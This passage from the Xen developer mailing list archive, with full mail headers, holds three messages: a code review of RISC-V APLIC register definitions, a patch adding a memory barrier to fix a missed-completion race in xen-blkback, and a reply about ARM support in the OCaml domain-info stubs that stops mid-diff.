 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0307-5cb7-0a2a0a5109dd-0a2a450683ea-38
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:53:55 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0313-195a-0a2a45060019-d155802ee967-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:53:55 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-4955de8797cso11838665e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 00:53:55 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-498011fd5fesm35279715e9.7.2026.07.30.00.53.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 00:53:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785398035; x=1786002835; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MYxDa/UJ7hji7HRRrnmGtEq3iH4gQzyixMSf/mFboaY=;
        b=KI09sLm+3FaJvf+wmxZNRauZLQIDueORcH/l2879n9kYCp2zyDsVawICWCsd7CmWAb
         SEJCMpserbgMSvmaAD5QUr1HiOJWIMa9AK6Y8SrLJp6BtAv3cvroPWQXNO4FtrT1dzvI
         YC99qhWHP9wWWUIvwDCRnremvbzaUlBqPbcp/pEvCC1JC5ydQn5kJc4Ql2/PFvQxlArd
         Y+NWhARyM/YC2iOAXLDwqpP7DLaB9yhIf6m76BN/aA9W/yvqWG97IXBX1w3N+qO1X1t6
         WwdXNtRppBnbQbFhZ+Bb77dDA27BQcvu3J03MDFeuhd2UWOxH1wQDlIqmKI0TpfLIlJ5
         iraw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785398035; x=1786002835;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=MYxDa/UJ7hji7HRRrnmGtEq3iH4gQzyixMSf/mFboaY=;
        b=BaG72rX6/dQ+aCo5slFOTxVbSeqGP/gOFV8MgG3tq7mMtu0am6XUKMtXijlmgJLpCi
         I5/RfK16ngHRULf7XVaYxK1wmEGzIzOrJADWbmmoq6AhmUtHyJmAxEB/+BV5RNWQUI7n
         rncHs0iA2PyfRD/WlnISd+KS8x88Kud0MmnhxiKlfpNZDf78pqidBQkjKFXEleXicqT4
         itKHHGJm4Fu5riMaIifsn9hVlNhJAQGbkwGUO8f4hAZdcw1o1af2qoPGGEcvW4r/pm+C
         zJqsqSj5sfc6ssX84OoHm3b9vvdOKLr7TI+wzLCTt0Mv+miKviPqo1RO60Wz3B9eGMra
         HPdw==
X-Forwarded-Encrypted: i=1; AHgh+Ro0hPt04OfG+R5HxvdJAvetNx5nttGMRcDRt8U0hmZ+r0GH0ztJ0+bvzuTnn9rSXTG2FjwGugia3dg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyepYjhPMJNnpoFgjX9kFKwVB/tsFeKeefZAL7qlr2+VQVnj8Pg
	p7jApALu2XgUIc0IjwBPbqXIOb24TfyH+eV1l20uO00l8+ZWwi/WViqYL+/6KNqwzg==
X-Gm-Gg: AR+sD13f59dEktURtdh3Gs+BUv3ay+WcR2i/ehdwTpQ3+cdOcjbbCITbHCaL633oSlx
	AvBGNpDADFHHye/bGVazE/G4Ky+Y89ZqujNyLkjk9tItlSs5ZlZWT7XZVxpdn9JUIoorXrFIyEt
	orPIEQo1S92Qzz62dgNegSh0Jejb5LZDMRx4nEc2RKLGakzPmXU4g5/QHufXtg7NKjUXk4CcI6e
	VJkJQc0ZIJfw6ok+EkN6IOedQL9B8BkKADX8mgboWXsA7aNj1YkW7gup1udyAEH3EXgcnzOWuMe
	kXTpluajnb3QhqN+UOP94+84gr3DOjW/ywp6sJsEJzqTjjpHlrAVNJ72bEqAy0V9xwIBiwV9ABV
	mZRaOfk9xVNe/kmDPT3slapiUV3YT49pccmYid2LnY8ASveW5iGbqrN4koBlXcpSJ90gxPuGfKh
	zVLMFg+XqjjnPKQiefTwjZ+1/onsBjWWAVH03Pcal96A0m/NGeSGta2jB43blVbX0osSbB4aejX
	S6fwcnj1/wv3tdniyqxVI9pgRzeR3/12x4HAxg2vxQg4tyKwib/
X-Received: by 2002:a05:600c:1150:b0:493:e79e:da98 with SMTP id 5b1f17b1804b1-49800eb9dcbmr11984515e9.39.1785398034794;
        Thu, 30 Jul 2026 00:53:54 -0700 (PDT)
Message-ID: <7f77c37f-beae-4740-922c-9afb525fb042@suse.com>
Date: Thu, 30 Jul 2026 09:53:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 03/17] xen/riscv: add missing APLIC register offsets,
 masks to asm/aplic.h
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <ee3825adfd0012437a594f6a0e51c6ee71175cc4.1784560663.git.oleksii.kurochko@gmail.com>
 <a9725508-7660-4960-88ef-8e5b324f8f08@suse.com>
 <0fea0d33-b25d-420f-acf0-3c65368f0bac@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse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xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <0fea0d33-b25d-420f-acf0-3c65368f0bac@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785398035-F76C877B-249FCDDA/0/0
X-purgate-type: clean
X-purgate-size: 2524

On 29.07.2026 17:26, Oleksii Kurochko wrote:
> 
> 
> On 7/28/26 2:02 PM, Jan Beulich wrote:
>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>> @@ -25,6 +27,7 @@
>>>   #define APLIC_DOMAINCFG_DM      BIT(2, U)
>>>   #define APLIC_DOMAINCFG_BE      BIT(0, U)
>>>   
>>> +/* sourcecfg register fields */
>>>   #define APLIC_SOURCECFG_SM_INACTIVE     0x0
>>>   #define APLIC_SOURCECFG_SM_DETACH       0x1
>>>   #define APLIC_SOURCECFG_SM_EDGE_RISE    0x4
>>> @@ -32,7 +35,39 @@
>>>   #define APLIC_SOURCECFG_SM_LEVEL_HIGH   0x6
>>>   #define APLIC_SOURCECFG_SM_LEVEL_LOW    0x7
>>>   
>>> +/* target register fields */
>>>   #define APLIC_TARGET_HART_IDX_SHIFT 18
>>> +#define APLIC_TARGET_EIID_MASK      0x7ff
>>
>> So why would these live here, far ahead of ...
>>
>>> +#define APLIC_DOMAINCFG         0x0000
>>> +#define APLIC_SOURCECFG_BASE    0x0004
>>> +#define APLIC_SOURCECFG_LAST    0x0ffc
>>> +
>>> +#define APLIC_SMSICFGADDR       0x1bc8
>>> +#define APLIC_SMSICFGADDRH      0x1bcc
>>> +
>>> +#define APLIC_SETIP_BASE        0x1c00
>>> +#define APLIC_SETIP_LAST        0x1c7c
>>> +#define APLIC_SETIPNUM          0x1cdc
>>> +
>>> +#define APLIC_CLRIP_BASE        0x1d00
>>> +#define APLIC_CLRIP_LAST        0x1d7c
>>> +#define APLIC_CLRIPNUM          0x1ddc
>>> +
>>> +#define APLIC_SETIE_BASE        0x1e00
>>> +#define APLIC_SETIE_LAST        0x1e7c
>>> +#define APLIC_SETIENUM          0x1edc
>>> +
>>> +#define APLIC_CLRIE_BASE        0x1f00
>>> +#define APLIC_CLRIE_LAST        0x1f7c
>>> +#define APLIC_CLRIENUM          0x1fdc
>>> +
>>> +#define APLIC_SETIPNUM_LE       0x2000
>>> +
>>> +#define APLIC_GENMSI            0x3000
>>> +
>>> +#define APLIC_TARGET_BASE       0x3004
>>> +#define APLIC_TARGET_LAST       0x3ffc
>>
>> ... the register definition itself. Would you mind taking a look at the top
>> third (or so) of arch/x86/include/asm/msr-index.h? There you'll find MSR
>> index values of MSRs we use, immediately followed by field definitions (of
>> course only where applicable). With such an arrangement, the extra comments
>> you add can easily be omitted.
> 
> I'll move the definitions mentioned above to the suggested location and 
> follow this pattern in future changes. I just thought it would be better 
> to keep the APLIC register definitions together in memory layout order.

Retaining that order is certainly wanted. Keeping them together is also wanted,
just with the bit/field definitions inserted accordingly.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 08:40:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 08:40:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377307.1623411 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMJF-0005P1-PH; Thu, 30 Jul 2026 08:40:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377307.1623411; Thu, 30 Jul 2026 08:40:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMJF-0005Ou-MW; Thu, 30 Jul 2026 08:40:09 +0000
Received: by outflank-mailman (input) for mailman id 1377307;
 Thu, 30 Jul 2026 08:40:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hanguidong02@gmail.com>) id 1wpMJF-0005Oo-3q
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:40:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpMJE-002RU2-9i
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:40:08 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hanguidong02@gmail.com>)
 id 6a6b0dda-e002-0a2a0a5209dd-0a2a4504bd46-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:40:08 +0200
Received: from [209.85.214.179] (helo=mail-pl1-f179.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hanguidong02@gmail.com>)
 id 6a6b0de6-b57f-0a2a45040019-d155d6b3edad-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:40:08 +0200
Received: by mail-pl1-f179.google.com with SMTP id
 d9443c01a7336-2d01663d816so16756875ad.1
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 01:40:07 -0700 (PDT)
Received: from bass-virtual-machine.. ([114.247.65.140])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2d022a465f7sm23003015ad.24.2026.07.30.01.40.03
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 30 Jul 2026 01:40:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785400806; x=1786005606; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=zw36b6isDpAagmijX70XpIGwqKUfzgvnzMxTieNxr40=;
        b=P7ft0yko4EuvIFaLAB5W/CCiTmLhYDGW1XzLNYdp/OPiwg7lqVU1QZz9DA9ol6dEhE
         emf5hgsiV3s1+/mjFvNY1tJqR8xTvAsbgzjWjP0EoayqO/8/Np0uWi8FnV1cGRe7p2ac
         2G2xGU/4aJ7h4HeTZwxQ3tlf0stW/PN+gbxYsLa2+Tn+4l6uMZqO0s/8IGB0MUvPG1KA
         rJCOiIx/6+1iw5u/pT9ttoXQ18vf1HLCZ7Bg4JB56BjZhryFqh3jgXe0F3wz2rdsRajD
         8FLoWbOYpsr4N1H1CEInFFgYjN5DwGIuKW8ElGyMY6TPLWfTWGJ9FAja+v5mJR4NQjtX
         /NMw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785400806; x=1786005606;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=zw36b6isDpAagmijX70XpIGwqKUfzgvnzMxTieNxr40=;
        b=ZCC3w/2GU8DsMX0UB8nJWEOvOUjjdTUAXczAYGG/HDpxbbkqBJJ4mOaUDfiQ7HgPsh
         FZu/ghxyT9/fj25leLoUHwlrELqkkTwjH0dWgJhcBfgSmR2O9DkUwsDR+rLQUjsk2M1q
         a7uUTFeY7ATY33BHtqJ6/UvyFd1K3EXQkmoNGubP5EzS7EhKIMi0WNcFZriThpFdVydw
         K/03fsQdPBa4A5RAEaJjd3bzWODtLHckryOd4zAjYt3mUIC1HB7lq0hW+6dN2MEnLm5r
         3PDchjhCeZVM2Lh6pWq0M9OfJM48CGaT+h5DBNdpwGYy9Lvt72cdfILMwIwlVps09Gqc
         vMEg==
X-Forwarded-Encrypted: i=1; AHgh+RoQ3duFhbSS05mPPRN+gdAcbJiXSFS7VtlGRhT1FbsUGibnztTFtdRlBpiZRLPVPMljwkrtP8t2zBw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzLtkkJLzWmFGFLUVCFjkAx5Ol/UscEvF5y6duftCyAvdi61eJ1
	8PcXnn+ttjgsEmxgsH64AGOeGmd7rpG2E2b6NARK2MbgB4WEYj4rJFXp
X-Gm-Gg: AR+sD12kSD1K0LPzWlyzYmyhzlAsQsy+YsJDKgiXbIeDeomR/b4otnnSD6EXucCYIG4
	FUHow0Qb51VcTsM+DTZUjVfTY1kbtPVe2SFh8eitYQeJUGiQcFkL7E66jvIsybBEicUQmD+XSJQ
	8tsHXYkf2h7cv3VsTBJAKUmSgPqJ3cIULlzmY4p0r/hFD5MI+2VTwQ9v20NBSZDglqupQ35Tjzo
	IiAelOciD4Coi3kwP9z7MsfelI7rgoST+062A+vzEAvDcRGrm213byllu7Z2AoUd6k8jl9zwx3i
	nuyExjisvJv2qlbY1w8fon44ZtYPIcRfJPZOTuBVoYcIr+UgQgn9+NcVE4OXkBnX1fMdaHVcPrI
	y6hjWRKQo4Z51S4u3BoAzBB3XuNAcj01qUEKkEsfeFnVEsgD0BZn6QDqXj60jfSqJtiHm+kS/p/
	eLS7CGtNSJo7cqK+PK7VZoFV405wLrWDvsG3Qn06CO7/00dxbCkAOjxWlrjrs21tHyk/RNLox/i
	RbuVU5W/Ub1sxCjYtpQ2W7XdxnzBFuXVACN3GhEXp68bzDPjKeramiUVT/wuHLM2onnqA1pHFp3
	CgmU+DxvXTGs660YFUbFu0JFHDj7
X-Received: by 2002:a17:902:f652:b0:2ca:f21a:a6c5 with SMTP id d9443c01a7336-2d035b84ae8mr17886105ad.1.1785400806137;
        Thu, 30 Jul 2026 01:40:06 -0700 (PDT)
From: Gui-Dong Han <hanguidong02@gmail.com>
To: roger@xenproject.org,
	xen-devel@lists.xenproject.org
Cc: axboe@kernel.dk,
	linux-block@vger.kernel.org,
	konrad.wilk@oracle.com,
	linux-kernel@vger.kernel.org,
	baijiaju1990@gmail.com,
	Gui-Dong Han <hanguidong02@gmail.com>
Subject: [PATCH] xen/blkback: Prevent missed completion when draining I/O
Date: Thu, 30 Jul 2026 16:40:00 +0800
Message-Id: <20260730084000.3305702-1-hanguidong02@gmail.com>
X-Mailer: git-send-email 2.34.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785400808-C28C9B50-8461F316/0/0
X-purgate-type: clean
X-purgate-size: 1781

xen_blk_drain_io() sets drain before checking inflight.
xen_blkbk_unmap_and_respond_callback() decrements inflight with
atomic_dec_and_test() before checking drain.

The pre-wait condition check was added to avoid missing a completion, but
atomic_set() is unordered. With one I/O in flight, the drain path can set
drain to 1 and read inflight as 1 before the completion decrement. The
completion path then decrements inflight to 0 but can still read drain as
0. It skips complete(), so the drain path waits until the timeout despite
no I/O remaining.

Add a full barrier between setting drain and reading inflight.
atomic_dec_and_test() already provides full ordering on the completion
side.

Fixes: 6927d92091df ("xen/blkback: Fix two races in the handling of barrier requests.")
Signed-off-by: Gui-Dong Han <hanguidong02@gmail.com>
---
Found by auditing atomic operations used for synchronization.
A similar fix can be found in 6df8e84aa6b5.
---
 drivers/block/xen-blkback/blkback.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/drivers/block/xen-blkback/blkback.c b/drivers/block/xen-blkback/blkback.c
index 7871099bc0d4..88526e349ce1 100644
--- a/drivers/block/xen-blkback/blkback.c
+++ b/drivers/block/xen-blkback/blkback.c
@@ -1021,6 +1021,13 @@ static void xen_blk_drain_io(struct xen_blkif_ring *ring)
 	struct xen_blkif *blkif = ring->blkif;
 
 	atomic_set(&blkif->drain, 1);
+	/*
+	 * Publish drain before checking inflight. Otherwise,
+	 * xen_blkbk_unmap_and_respond_callback() can decrement inflight with
+	 * atomic_dec_and_test() and still see drain == 0 after this path saw
+	 * inflight > 0, missing the completion.
+	 */
+	smp_mb();
 	do {
 		if (atomic_read(&ring->inflight) == 0)
 			break;
-- 
2.34.1



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 08:43:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 08:43:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377313.1623421 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMMH-0005v4-62; Thu, 30 Jul 2026 08:43:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377313.1623421; Thu, 30 Jul 2026 08:43:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMMH-0005ux-2m; Thu, 30 Jul 2026 08:43:17 +0000
Received: by outflank-mailman (input) for mailman id 1377313;
 Thu, 30 Jul 2026 08:43:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpMMF-0005ur-FN
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:43:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpMME-005Fz3-4S
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:43:14 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb2311930000e099@swg.vates.tech>)
 id 6a6b0ea1-bab6-0a2a0a5309dd-0a2a4507d344-2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:43:13 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb2311930000e099@swg.vates.tech>)
 id 6a6b0ea0-b4ea-0a2a45070019-b9ff1c12b4a1-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:43:13 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb2311930000e099.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 30 Jul 2026 08:43:10 +0000
Received: from [192.168.0.38]
 (ipservice-092-208-102-202.092.208.pools.vodafone-ip.de [92.208.102.202])
 (Authenticated sender: julian.vetter)
 by mail2.vates.fr (Postfix) with ESMTPSA id B349580DCE;
 Thu, 30 Jul 2026 10:43:08 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=76uFIIQsN0BXvQ/+0uCUREFFiEZPLC4foQuubccsf4c=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=k2Kn57LByvu0f68JENfueGdRlzg+eBMu/DewKHqnNk4k/BB6eY12++rvjSqNNVcVJfEgU+7zB
 6JOL7XtdpCEEET0ZrTY918Yqq1k8v0dcNv7YZtKiu/Z+tIkc4gVOyNz9Qitgq6XfGgiYehKW3Rl
 SkMyiAEBmuWjDIExYwlcOmdSvVhR7vPnZtrLL3ehDFh95Gwe2K734TUbEessipZyuZ913TIKmm6
 vLUkSeUBqreU+p7F8NY97GksKkofZj26xHixKED9/aSgHHh/O9n/hkdRTXS3arNDtDfPvRLwW1x
 fUpQ9uMjFqITIaokOTMejw8D6+5Jgx396tz/FDfepgFw==
X-Zone-Loop: 4adcf48b18d7bab2b01e59bcb33f4e7ab7838d822f83
x-campaign-type: default
x-transaction-id: a832d35b-7fdf-4d26-9ca8-b369dca35b0f
x-swg-uid: 01-75867dce-c9bf-4f73-aace-221620361fb9
X-Mailer: Sweego
Message-ID:
 <1785400990.8631fc262581453bbf619ec5b2062170.19fb2311930000e099@vates.tech>
x-swg-bid: 1785400990.8631fc262581453bbf619ec5b2062170.19fb2311930000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 30 Jul 2026 10:43:08 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Julian Vetter <julian.vetter@vates.tech>
In-Reply-To: <20260728154830.67734-3-andrew.cooper3@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1712.cbb2ec61aafbc5a5.19fb23114e8.a6439b7f2d9a4174=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785400988904
X-purgate-ID: tlsNG-ef75cf/1785400993-3C212AE4-A195272F/10/73395122804
X-purgate-type: spam
X-purgate-size: 2499

---=Part.1712.cbb2ec61aafbc5a5.19fb23114e8.a6439b7f2d9a4174=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable



On 7/28/26 17:48, Andrew Cooper wrote:
> From: Julian Vetter <julian=2Evetter@vates=2Etech>
>=20
> Add the missing ARM logic, populating xen_arm_arch_domainconfig
> from the raw xc_domaininfo_t the same way the x86 branch does for
> xen_x86_arch_domainconfig=2E
>=20
> Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
> Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
> ---
> CC: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
> CC: Andrii Sultanov <andriy=2Esultanov@vates=2Etech>
> CC: Guillaume Thouvenin <guillaume=2Ethouvenin@vates=2Etech>
> CC: Julian Vetter <julian=2Evetter@vates=2Etech>
> CC: Oleksii Kurochko <oleksii=2Ekurochko@gmail=2Ecom>
> ---
>   tools/ocaml/libs/xc/xenctrl_stubs=2Ec | 16 ++++++++++++++--
>   1 file changed, 14 insertions(+), 2 deletions(-)
>=20
> diff --git a/tools/ocaml/libs/xc/xenctrl_stubs=2Ec b/tools/ocaml/libs/xc=
/xenctrl_stubs=2Ec
> index 441e1d83cfec=2E=2Efb983709066f 100644
> --- a/tools/ocaml/libs/xc/xenctrl_stubs=2Ec
> +++ b/tools/ocaml/libs/xc/xenctrl_stubs=2Ec
> @@ -444,9 +444,21 @@ static value alloc_domaininfo(xc_domaininfo_t * inf=
o)
>  =20
>   	Store_field(result, 15, tmp);
>  =20
> -#if defined(__i386__) || defined(__x86_64__)
> +#if defined(__arm__) || defined(__aarch64__)
>  =20
> -	tag =3D 1; /* tag x86 */
> +	tag =3D 0; /* tag ARM */
> +
> +        /* xen_arm_arch_domainconfig */
> +        arch_config =3D caml_alloc_tuple(3);
> +        Field(arch_config, 0) =3D Val_int(info->arch_config=2Egic_versi=
on);
> +        Field(arch_config, 1) =3D Val_int(info->arch_config=2Enr_spis);
> +
> +	tmp =3D caml_copy_int32(info->arch_config=2Eclock_frequency);
